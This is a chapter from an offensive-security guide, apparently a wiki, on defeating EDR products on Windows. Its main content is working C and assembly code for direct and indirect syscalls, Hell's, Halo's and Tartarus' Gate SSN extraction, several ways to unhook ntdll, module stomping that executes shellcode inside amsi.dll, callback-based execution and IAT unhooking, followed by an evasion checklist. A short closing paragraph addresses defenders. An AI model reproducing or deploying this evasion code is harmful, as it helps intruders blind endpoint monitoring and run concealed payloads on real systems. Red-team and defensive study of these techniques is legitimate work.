Chapter 06

Chapter 6: API Hooking & EDR Evasion

Every Windows application that wants to interact with the operating system—create a file, allocate memory, spawn a thread—must eventually ask the kernel. This request passes through a well-defined path: Win32 APIs call Native APIs in ntdll.dll, which then transition to kernel mode via the syscall instruction. EDR (Endpoint Detection and Response) products exploit this architecture by inserting hooks at strategic points to monitor and potentially block malicious activity.

For offensive security professionals, understanding this monitoring infrastructure is essential. This chapter examines how EDR hooks work, why they're effective, and the techniques used to bypass them—from direct syscalls to sophisticated unhooking methods.


The Windows API Call Chain

Before diving into evasion techniques, we need to understand what we're evading. When an application calls a Win32 API like CreateFile, here's what actually happens:

┌─────────────────────────────────────────────────────────────────────────┐
│                    WINDOWS API CALL FLOW                                 │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  Application                                                             │
│       │                                                                  │
│       ▼                                                                  │
│  ┌──────────────────────────────────────────────────────────────────┐  │
│  │  Win32 API (kernel32.dll, user32.dll, etc.)                       │  │
│  │  CreateFile, VirtualAlloc, CreateRemoteThread, etc.               │  │
│  └──────────────────────────────────────────────────────────────────┘  │
│       │                                                                  │
│       ▼                                                                  │
│  ┌──────────────────────────────────────────────────────────────────┐  │
│  │  Native API (ntdll.dll)                                           │  │
│  │  NtCreateFile, NtAllocateVirtualMemory, NtCreateThreadEx, etc.    │  │
│  │                                                                    │  │
│  │  ← EDR HOOKS HERE ←                                                │  │
│  │                                                                    │  │
│  └──────────────────────────────────────────────────────────────────┘  │
│       │                                                                  │
│       │ syscall instruction                                              │
│       ▼                                                                  │
│  ┌──────────────────────────────────────────────────────────────────┐  │
│  │  Kernel (ntoskrnl.exe)                                            │  │
│  │  Actual system call implementation                                 │  │
│  └──────────────────────────────────────────────────────────────────┘  │
│                                                                          │
└─────────────────────────────────────────────────────────────────────────┘

The key insight is that ntdll.dll is the gateway between user mode and kernel mode. Every process on the system loads ntdll.dll, and every system call passes through it. This makes ntdll.dll the perfect place for EDR products to install monitoring hooks—a single hook location captures calls from all applications.


EDR Hooking Techniques

Inline Hooks (Detours)

The most common EDR hooking technique is inline hooking, also called detouring. The EDR overwrites the first few bytes of a function with a jump instruction that redirects execution to EDR analysis code:

; Original ntdll!NtWriteVirtualMemory
NtWriteVirtualMemory:
    mov r10, rcx            ; 4C 8B D1
    mov eax, 3Ah            ; B8 3A 00 00 00
    syscall                 ; 0F 05
    ret                     ; C3

; Hooked version (EDR)
NtWriteVirtualMemory:
    jmp edr_hook_handler    ; E9 XX XX XX XX (5 bytes)
    ; ... original bytes saved elsewhere

The original instructions are saved so the EDR can execute them after inspection. When your code calls NtWriteVirtualMemory, it actually jumps to the EDR's handler, which logs the call, inspects parameters, and decides whether to allow the operation. If allowed, the EDR executes the saved original instructions to perform the actual syscall.

Detecting Hooks

A simple technique to detect inline hooks is checking for jump instructions at function entry points:

// Detect inline hooks by checking for JMP instruction
BOOL IsHooked(PVOID pFunction) {
    PBYTE pBytes = (PBYTE)pFunction;

    // Check for JMP (E9) or MOV RAX + JMP RAX pattern
    if (pBytes[0] == 0xE9) {
        return TRUE;  // Direct JMP
    }

    // Check for: mov rax, addr; jmp rax
    if (pBytes[0] == 0x48 && pBytes[1] == 0xB8) {
        if (pBytes[10] == 0xFF && pBytes[11] == 0xE0) {
            return TRUE;  // Indirect JMP via RAX
        }
    }

    return FALSE;
}

Commonly Hooked Functions

EDR products focus their hooks on functions commonly used in attacks:

Function Purpose Why EDR Monitors It
NtAllocateVirtualMemory Memory allocation Code injection preparation
NtWriteVirtualMemory Memory write Shellcode injection
NtProtectVirtualMemory Memory protection RWX transitions
NtCreateThreadEx Thread creation Remote thread injection
NtQueueApcThread APC queuing APC injection
NtMapViewOfSection Section mapping Process hollowing
NtSetContextThread Context modification Thread hijacking
NtOpenProcess Process access Cross-process operations

A sophisticated attacker must be able to call these functions without triggering EDR alerts. The following sections explore various techniques for achieving this.


Direct Syscalls

The Syscall Mechanism

The most straightforward way to bypass userland hooks is to skip ntdll.dll entirely. Instead of calling the hooked function, we can directly execute the syscall instruction ourselves:

; x64 syscall pattern
mov r10, rcx        ; First argument moves to R10
mov eax, SSN        ; System Service Number
syscall             ; Transition to kernel
ret

The System Service Number (SSN) identifies which kernel function to call. By constructing our own syscall stub with the correct SSN, we bypass all userland hooks.

System Service Numbers

The challenge is that SSNs vary between Windows versions:

Function Win10 1909 Win10 21H2 Win11
NtAllocateVirtualMemory 0x18 0x18 0x18
NtWriteVirtualMemory 0x3A 0x3A 0x3A
NtProtectVirtualMemory 0x50 0x50 0x50
NtCreateThreadEx 0xC1 0xC2 0xC7

Hardcoding SSNs requires maintaining version-specific values and detecting the Windows version at runtime. A more elegant solution dynamically extracts SSNs from ntdll.dll itself.

Hell's Gate

Hell's Gate is a technique that extracts SSNs from ntdll.dll at runtime. Even if a function is hooked, the original bytes—including the SSN—may still be accessible nearby in memory:

// Hell's Gate: Extract SSN from unhooked function
DWORD GetSSN(PVOID pFunction) {
    PBYTE pBytes = (PBYTE)pFunction;

    // Look for: mov r10, rcx (4C 8B D1)
    // Followed by: mov eax, SSN (B8 XX 00 00 00)
    if (pBytes[0] == 0x4C && pBytes[1] == 0x8B && pBytes[2] == 0xD1 &&
        pBytes[3] == 0xB8 && pBytes[6] == 0x00 && pBytes[7] == 0x00) {
        return *(PDWORD)(pBytes + 4);
    }

    return 0;  // Function is hooked
}

This works because many EDRs only overwrite the first few bytes with a jump instruction, leaving the rest of the function (including the SSN) intact. However, some EDRs completely overwrite the syscall stub, rendering this technique ineffective.

Halo's Gate

Halo's Gate extends Hell's Gate to handle heavily hooked environments. If the target function is hooked, it examines neighboring functions. Since syscall stubs are ordered sequentially in ntdll.dll, and their SSNs are also sequential, we can calculate the target SSN from a neighboring unhooked function:

// Halo's Gate: If function hooked, check neighbors
DWORD GetSSNHalosGate(PVOID pFunction) {
    DWORD ssn = GetSSN(pFunction);
    if (ssn != 0) return ssn;  // Not hooked

    // Function is hooked, scan neighbors
    // Syscalls are ordered, so SSN +/- 1 for neighbors

    // Try UP (higher address = higher SSN)
    for (int i = 1; i < 500; i++) {
        PBYTE pNeighbor = (PBYTE)pFunction + (i * 32);  // ~32 bytes per syscall stub

        if (IsValidSyscallStub(pNeighbor)) {
            DWORD neighborSSN = GetSSN(pNeighbor);
            if (neighborSSN != 0) {
                return neighborSSN - i;  // Calculate our SSN
            }
        }
    }

    // Try DOWN
    for (int i = 1; i < 500; i++) {
        PBYTE pNeighbor = (PBYTE)pFunction - (i * 32);

        if (IsValidSyscallStub(pNeighbor)) {
            DWORD neighborSSN = GetSSN(pNeighbor);
            if (neighborSSN != 0) {
                return neighborSSN + i;
            }
        }
    }

    return 0;  // Failed
}

Tartarus' Gate

Tartarus' Gate handles multiple hook patterns, including jump hooks, breakpoints, and other modifications:

// Tartarus' Gate: Handle multiple hook patterns
DWORD GetSSNTartarusGate(PVOID pFunction) {
    PBYTE pBytes = (PBYTE)pFunction;

    // Pattern 1: Standard syscall stub
    if (pBytes[0] == 0x4C && pBytes[1] == 0x8B && pBytes[2] == 0xD1) {
        if (pBytes[3] == 0xB8) {
            return *(PDWORD)(pBytes + 4);
        }
    }

    // Pattern 2: Jump hook (E9)
    if (pBytes[0] == 0xE9) {
        // Check if original bytes are at jump target or backup location
        // Implementation-specific
    }

    // Pattern 3: INT3 breakpoint
    if (pBytes[0] == 0xCC) {
        // Skip breakpoints, look for real prologue
    }

    // Fall back to Halo's Gate
    return GetSSNHalosGate(pFunction);
}

SysWhispers

Tools like SysWhispers automate syscall stub generation at compile time, producing header files and assembly stubs for direct syscalls:

// SysWhispers generated header
#pragma once

#include <Windows.h>

// Function hash for NtAllocateVirtualMemory
#define NtAllocateVirtualMemory_Hash 0x12345678

// Generated syscall stub (inline assembly or external .asm)
extern NTSTATUS NtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

Indirect Syscalls

The Detection Problem

Direct syscalls bypass userland hooks, but they have a detection weakness: the return address on the stack points to the calling code, not ntdll.dll. Sophisticated EDRs check the return address of syscall instructions—if the caller isn't ntdll.dll, something suspicious is happening.

Additionally, the syscall instruction itself appears outside ntdll.dll, which some EDRs detect through instruction scanning or debug registers.

The Indirect Syscall Solution

Indirect syscalls solve both problems by jumping to a syscall instruction within ntdll.dll itself. We set up the registers and SSN, then jump to the syscall;ret gadget inside ntdll.dll:

; Find syscall;ret gadget in ntdll
; Jump there instead of executing syscall directly

SyscallIndirect PROC
    mov r10, rcx                ; Standard syscall setup
    mov eax, [SyscallNumber]    ; SSN
    jmp qword ptr [SyscallAddr] ; Jump to ntdll!syscall gadget
SyscallIndirect ENDP

; SyscallAddr points to:
; ntdll!NtSomeFunction+0x12:
;   syscall   ; 0F 05
;   ret       ; C3

Now when the syscall executes, the return address points inside ntdll.dll, and the syscall instruction is in ntdll.dll. From the EDR's perspective, the call looks legitimate.

Finding Syscall Gadgets

We need to locate syscall;ret sequences in ntdll.dll:

// Scan ntdll for syscall;ret pattern
PVOID FindSyscallGadget(PVOID pNtdll, SIZE_T dwSize) {
    PBYTE pBytes = (PBYTE)pNtdll;

    for (SIZE_T i = 0; i < dwSize - 2; i++) {
        // Look for: syscall (0F 05) followed by ret (C3)
        if (pBytes[i] == 0x0F && pBytes[i + 1] == 0x05 && pBytes[i + 2] == 0xC3) {
            return &pBytes[i];
        }
    }

    return NULL;
}

Gadget Randomization

Advanced implementations rotate through multiple gadgets to avoid pattern-based detection:

// Multiple gadgets for randomization
typedef struct _SYSCALL_GADGETS {
    PVOID gadgets[100];
    DWORD count;
    DWORD index;
} SYSCALL_GADGETS;

// Get random gadget each call
PVOID GetRandomGadget(PSYSCALL_GADGETS pGadgets) {
    LARGE_INTEGER counter;
    QueryPerformanceCounter(&counter);

    pGadgets->index = counter.LowPart % pGadgets->count;
    return pGadgets->gadgets[pGadgets->index];
}

ntdll Unhooking

Rather than avoiding hooks with syscalls, another approach is removing the hooks entirely—restoring ntdll.dll to its clean, unhooked state. This technique is called unhooking.

Unhooking from Disk

The simplest unhooking method reads a fresh copy of ntdll.dll from disk and copies its .text section over the hooked version in memory:

BOOL UnhookNtdll(void) {
    // 1. Get handle to ntdll in memory
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)hNtdll + pDosHeader->e_lfanew);

    // 2. Map fresh copy from disk
    HANDLE hFile = CreateFileA(
        "C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );

    HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    PVOID pFreshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

    // 3. Find .text section
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        if (strcmp((char*)pSection[i].Name, ".text") == 0) {
            // 4. Copy clean .text over hooked version
            PVOID pHookedText = (PBYTE)hNtdll + pSection[i].VirtualAddress;
            PVOID pCleanText = (PBYTE)pFreshNtdll + pSection[i].VirtualAddress;
            SIZE_T dwTextSize = pSection[i].Misc.VirtualSize;

            DWORD oldProtect;
            VirtualProtect(pHookedText, dwTextSize, PAGE_EXECUTE_READWRITE, &oldProtect);
            memcpy(pHookedText, pCleanText, dwTextSize);
            VirtualProtect(pHookedText, dwTextSize, oldProtect, &oldProtect);

            break;
        }
    }

    // 5. Cleanup
    UnmapViewOfFile(pFreshNtdll);
    CloseHandle(hMapping);
    CloseHandle(hFile);

    return TRUE;
}

Unhooking from KnownDlls

An alternative to disk access is using the \KnownDlls object directory, which contains mapped sections of common system DLLs:

BOOL UnhookFromKnownDlls(void) {
    HANDLE hSection;
    UNICODE_STRING uName;
    OBJECT_ATTRIBUTES objAttr;

    RtlInitUnicodeString(&uName, L"\\KnownDlls\\ntdll.dll");
    InitializeObjectAttributes(&objAttr, &uName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    // Open KnownDlls section
    NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &objAttr);

    // Map and copy clean .text
    PVOID pBase = NULL;
    SIZE_T dwSize = 0;
    NtMapViewOfSection(hSection, GetCurrentProcess(), &pBase, 0, 0, NULL, &dwSize, ...);

    // Copy over hooked ntdll
    // ... same as disk method
}

Some EDRs monitor KnownDlls access, making this technique detectable in certain environments.

Unhooking from Suspended Process

A more sophisticated technique creates a suspended process, reads its clean ntdll.dll (before EDR hooks are installed), and uses that to unhook:

BOOL UnhookFromSuspendedProcess(void) {
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    // Create suspended process
    CreateProcessA(
        "C:\\Windows\\System32\\notepad.exe",
        NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED,
        NULL, NULL, &si, &pi
    );

    // Read ntdll from child process (clean, not yet hooked)
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    SIZE_T dwSize = GetNtdllTextSize();

    PBYTE pCleanNtdll = malloc(dwSize);
    ReadProcessMemory(pi.hProcess, hNtdll, pCleanNtdll, dwSize, NULL);

    // Overwrite our hooked ntdll
    DWORD oldProtect;
    VirtualProtect(hNtdll, dwSize, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(hNtdll, pCleanNtdll, dwSize);
    VirtualProtect(hNtdll, dwSize, oldProtect, &oldProtect);

    // Terminate child
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    free(pCleanNtdll);

    return TRUE;
}

Web-Based Unhooking

All the previous techniques access local resources that EDRs may monitor. A stealthier approach downloads a clean ntdll.dll from the internet—either from a controlled server or Microsoft's Symbol Server via services like Winbindex.

#include <windows.h>
#include <wininet.h>

#pragma comment(lib, "wininet.lib")

// Download clean ntdll from web server
BOOL DownloadCleanNtdll(LPCSTR szUrl, PBYTE* ppBuffer, PDWORD pdwSize) {
    HINTERNET hInternet = NULL;
    HINTERNET hConnect = NULL;
    PBYTE pBuffer = NULL;
    DWORD dwSize = 0;
    BOOL bResult = FALSE;

    // Initialize WinInet
    hInternet = InternetOpenA(
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        INTERNET_OPEN_TYPE_DIRECT,
        NULL, NULL, 0
    );

    if (!hInternet) goto cleanup;

    // Open URL
    hConnect = InternetOpenUrlA(
        hInternet, szUrl, NULL, 0,
        INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0
    );

    if (!hConnect) goto cleanup;

    // Allocate buffer
    DWORD dwBufferSize = 0x200000;  // 2MB default
    pBuffer = (PBYTE)VirtualAlloc(NULL, dwBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pBuffer) goto cleanup;

    // Download file
    while (TRUE) {
        BYTE chunk[4096];
        DWORD dwChunkRead = 0;

        if (!InternetReadFile(hConnect, chunk, sizeof(chunk), &dwChunkRead)) {
            goto cleanup;
        }

        if (dwChunkRead == 0) break;

        memcpy(pBuffer + dwSize, chunk, dwChunkRead);
        dwSize += dwChunkRead;
    }

    *ppBuffer = pBuffer;
    *pdwSize = dwSize;
    pBuffer = NULL;
    bResult = TRUE;

cleanup:
    if (pBuffer) VirtualFree(pBuffer, 0, MEM_RELEASE);
    if (hConnect) InternetCloseHandle(hConnect);
    if (hInternet) InternetCloseHandle(hInternet);

    return bResult;
}

Using Microsoft's Symbol Server

Winbindex indexes Windows binaries from Microsoft's Symbol Server, allowing download of specific ntdll.dll versions:

// Download from Symbol Server using PE signature
BOOL DownloadFromSymbolServer(
    LPCSTR szFileName,        // e.g., "ntdll.dll"
    LPCSTR szTimestamp,       // PE timestamp (hex)
    LPCSTR szImageSize,       // PE size (hex)
    PBYTE* ppBuffer,
    PDWORD pdwSize
) {
    char szUrl[1024];

    // Symbol server URL format:
    // https://msdl.microsoft.com/download/symbols/ntdll.dll/TIMESTAMP+SIZE/ntdll.dll
    sprintf_s(szUrl, sizeof(szUrl),
        "https://msdl.microsoft.com/download/symbols/%s/%s%s/%s",
        szFileName, szTimestamp, szImageSize, szFileName);

    return DownloadCleanNtdll(szUrl, ppBuffer, pdwSize);
}

Section Alignment Considerations

When unhooking from raw PE files (disk or download), remember that sections have different alignments on disk versus in memory:

┌─────────────────────────────────────────────────────────────────────┐
│              DISK vs MEMORY SECTION ALIGNMENT                       │
├─────────────────────────────────────────────────────────────────────┤
│                                                                     │
│  On Disk (Raw File):                                                │
│  • FileAlignment: 0x200 (512 bytes typical)                        │
│  • Section starts at PointerToRawData                              │
│                                                                     │
│  In Memory (Loaded):                                                │
│  • SectionAlignment: 0x1000 (4096 bytes typical)                   │
│  • Section starts at VirtualAddress (from ImageBase)               │
│                                                                     │
│  When copying .text from raw file:                                  │
│  • Source: pDownloaded + pSection->PointerToRawData                │
│  • Destination: hNtdll + pSection->VirtualAddress                  │
│  • Size: min(SizeOfRawData, VirtualSize)                           │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

Selective Unhooking

Rather than unhooking all of ntdll.dll, unhooking only specific functions reduces the detection footprint:

BOOL UnhookFunction(LPCSTR lpFunctionName) {
    // Get function address
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID pFunction = GetProcAddress(hNtdll, lpFunctionName);

    // Read clean bytes from disk
    BYTE cleanBytes[32];
    GetCleanFunctionBytes(lpFunctionName, cleanBytes, sizeof(cleanBytes));

    // Overwrite hooked bytes
    DWORD oldProtect;
    VirtualProtect(pFunction, sizeof(cleanBytes), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pFunction, cleanBytes, sizeof(cleanBytes));
    VirtualProtect(pFunction, sizeof(cleanBytes), oldProtect, &oldProtect);

    return TRUE;
}

Advanced Evasion Techniques

Module Stomping

Module stomping loads a legitimate signed DLL, then overwrites its code section with malicious code. When the code executes, it appears to come from a signed, trusted module:

// 1. Load legitimate DLL
HMODULE hModule = LoadLibraryExA("amsi.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);

// 2. Overwrite .text section with shellcode
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hModule + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pText = IMAGE_FIRST_SECTION(pNt);

PVOID pTextBase = (PBYTE)hModule + pText->VirtualAddress;
SIZE_T dwTextSize = pText->Misc.VirtualSize;

// 3. Write shellcode
DWORD oldProtect;
VirtualProtect(pTextBase, dwTextSize, PAGE_READWRITE, &oldProtect);
memcpy(pTextBase, shellcode, shellcode_size);
VirtualProtect(pTextBase, dwTextSize, PAGE_EXECUTE_READ, &oldProtect);

// 4. Execute - appears to come from signed amsi.dll
((void(*)())pTextBase)();

Callback-Based Execution

Rather than calling suspicious APIs directly, using legitimate Windows callback mechanisms can blend in with normal application behavior:

// Thread pool timer callback
PTP_TIMER pTimer = CreateThreadpoolTimer(
    (PTP_TIMER_CALLBACK)pShellcode,
    NULL,
    NULL
);

FILETIME ft;
GetSystemTimeAsFileTime(&ft);
SetThreadpoolTimer(pTimer, &ft, 0, 0);

Thread pool callbacks, window procedures, and other callback mechanisms provide execution contexts that appear legitimate to behavioral analysis.

IAT Unhooking

In addition to inline hooks, EDRs sometimes modify Import Address Tables. Restoring original IAT entries removes these hooks:

BOOL UnhookIAT(HMODULE hModule, LPCSTR lpDllName, LPCSTR lpFuncName) {
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hModule + pDos->e_lfanew);

    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(
        (PBYTE)hModule + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
    );

    // Find target DLL
    while (pImport->Name) {
        LPCSTR dllName = (LPCSTR)((PBYTE)hModule + pImport->Name);
        if (_stricmp(dllName, lpDllName) == 0) {
            // Find target function
            PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((PBYTE)hModule + pImport->FirstThunk);
            PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((PBYTE)hModule + pImport->OriginalFirstThunk);

            while (pOrigThunk->u1.AddressOfData) {
                PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)((PBYTE)hModule + pOrigThunk->u1.AddressOfData);

                if (strcmp(pName->Name, lpFuncName) == 0) {
                    // Replace with real address
                    PVOID pReal = GetProcAddress(GetModuleHandleA(lpDllName), lpFuncName);

                    DWORD oldProtect;
                    VirtualProtect(&pThunk->u1.Function, sizeof(PVOID), PAGE_READWRITE, &oldProtect);
                    pThunk->u1.Function = (ULONG_PTR)pReal;
                    VirtualProtect(&pThunk->u1.Function, sizeof(PVOID), oldProtect, &oldProtect);

                    return TRUE;
                }

                pThunk++;
                pOrigThunk++;
            }
        }
        pImport++;
    }

    return FALSE;
}

Detection and Defense Considerations

EDR Telemetry Sources

Understanding what EDRs can still see helps in developing more comprehensive evasion:

Source Detection Capability
Inline Hooks API calls before unhooking
ETW-TI Kernel-level memory operations
Kernel Callbacks Process/thread/image events
Stack Walking Caller analysis
Memory Scanning Suspicious patterns
Behavioral Analysis Operation sequences

Even with perfect userland evasion, EDRs may still detect activity through kernel-mode telemetry like ETW-TI (covered in Chapter 7).

Evasion Checklist

Comprehensive evasion requires addressing multiple detection vectors:

[ ] Use indirect syscalls (return address in ntdll)
[ ] Randomize syscall gadgets
[ ] Avoid suspicious API sequences
[ ] Use legitimate code paths (callbacks, timers)
[ ] Minimize direct memory allocations
[ ] Encrypt payload in memory
[ ] Use chunked operations to avoid size thresholds
[ ] Add jittered delays between operations
[ ] Maintain legitimate stack frames

Summary

Technique Bypasses Detection Risk Complexity
Direct Syscalls Userland hooks Return address analysis Medium
Indirect Syscalls Hooks + return addr Call stack analysis Medium
Hell's Gate Hooked functions SSN detection Low
Halo's Gate Heavy hooking Pattern analysis Medium
ntdll Unhooking All userland hooks Unhook detection Medium
Module Stomping Code signing Memory scanning High
Thread Pool Callbacks Direct calls Behavioral High

The cat-and-mouse game between attackers and EDR developers continues to evolve. Techniques that work today may be detected tomorrow, and new bypasses will emerge. The key is understanding the underlying mechanisms—hooks, syscalls, telemetry sources—so you can adapt techniques as the landscape changes.

For defenders, this chapter reveals why multiple detection layers are essential. Userland hooks alone are insufficient; kernel telemetry, behavioral analysis, and stack validation provide additional visibility that's harder to evade.


References

← Back to Wiki